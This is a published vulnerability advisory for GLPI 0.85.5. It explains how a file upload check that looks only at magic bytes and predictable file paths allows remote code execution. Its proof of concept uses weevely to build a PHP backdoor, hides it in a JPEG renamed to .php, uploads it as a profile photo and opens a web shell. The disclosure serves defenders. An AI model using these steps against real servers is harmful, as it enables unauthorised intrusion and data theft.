GLPI 0.85.5 – Arbitrary File Upload / Filter Bypass / Remote Code Execution
# Exploit Title: GLPI 0.85.5 RCE through file upload filter bypass # Date: September 7th, 2015 # Exploit Author: Raffaele Forte <raffaele@backbox.org> # Vendor Homepage: http://www.glpi-project.org/ # Software Link: https://forge.glpi-project.org/attachments/download/2093/glpi-0.85.5.tar.gz # Version: GLPI 0.85.5 # Tested on: CentOS release 6.7 (Final), PHP 5.3.3 I. INTRODUCTION ======================================================================== GLPI is the Information Resource-Manager with an additional Administration-Interface. You can use it to build up a database with an inventory for your company (computer, software, printers...). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a database with basic information about your network-topology. II. DESCRIPTION ======================================================================== The application allows users to upgrade their own profile. The user has the possibility to add a new photo as attachment. The photo that he uploads will be stored into "GLPI_ROOT/files/_pictures/". This file, for example named "photo.jpeg", will be directly accessible through "http://host/GLPI_ROOT/files/_pictures/XXXX.jpeg", where "XXXX" is an ID automatically generated by the system and visible in the HTML source code. Besides, the server does not check the extension of the uploaded file, but only the first bytes within it, that indicates which kind of file is. Exploiting this flaw, an attacker may upload a tampered jpeg file that contains php code placed at the end of the file, so that, just changing the file extention to ".php", by default the php code will be interpreted! To trigger this vulnerability it is necessary to have an account. This vulnerability is a combination of two issues: - predictable uploaded file names and path - upload of any kind of file, not limited to images III. PROOF OF CONCEPT ======================================================================== Generate backdoor: user@backbox:~$ weevely generate pass123 /tmp/bd.php user@backbox:~$ file /tmp/photo.jpeg /tmp/photo.jpeg: JPEG image data, JFIF standard 1.02 user@backbox:~$ cat /tmp/bd.php >> /tmp/photo.jpeg user@backbox:~$ mv /tmp/photo.jpeg /tmp/photo.php Upload the new tampered photo in GLPI > Settings Run terminal to the target: user@backbox:~$ weevely http://host/GLPI_ROOT/files/_pictures/XXXX.php pass123 IV. BUSINESS IMPACT ======================================================================== By uploading a interpretable php file, an attacker may be able to execute arbitrary code on the server. This flaw may compromise the integrity of the system and/or expose sensitive information. V. SYSTEMS AFFECTED ======================================================================== GLPI Version 0.85.5 is vulnerable (probably all previous versions) VI. VULNERABILITY HISTORY ======================================================================== September 7th, 2015: Vulnerability identification September 25th, 2015: Vendor notification VII. LEGAL NOTICES ======================================================================== The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information. |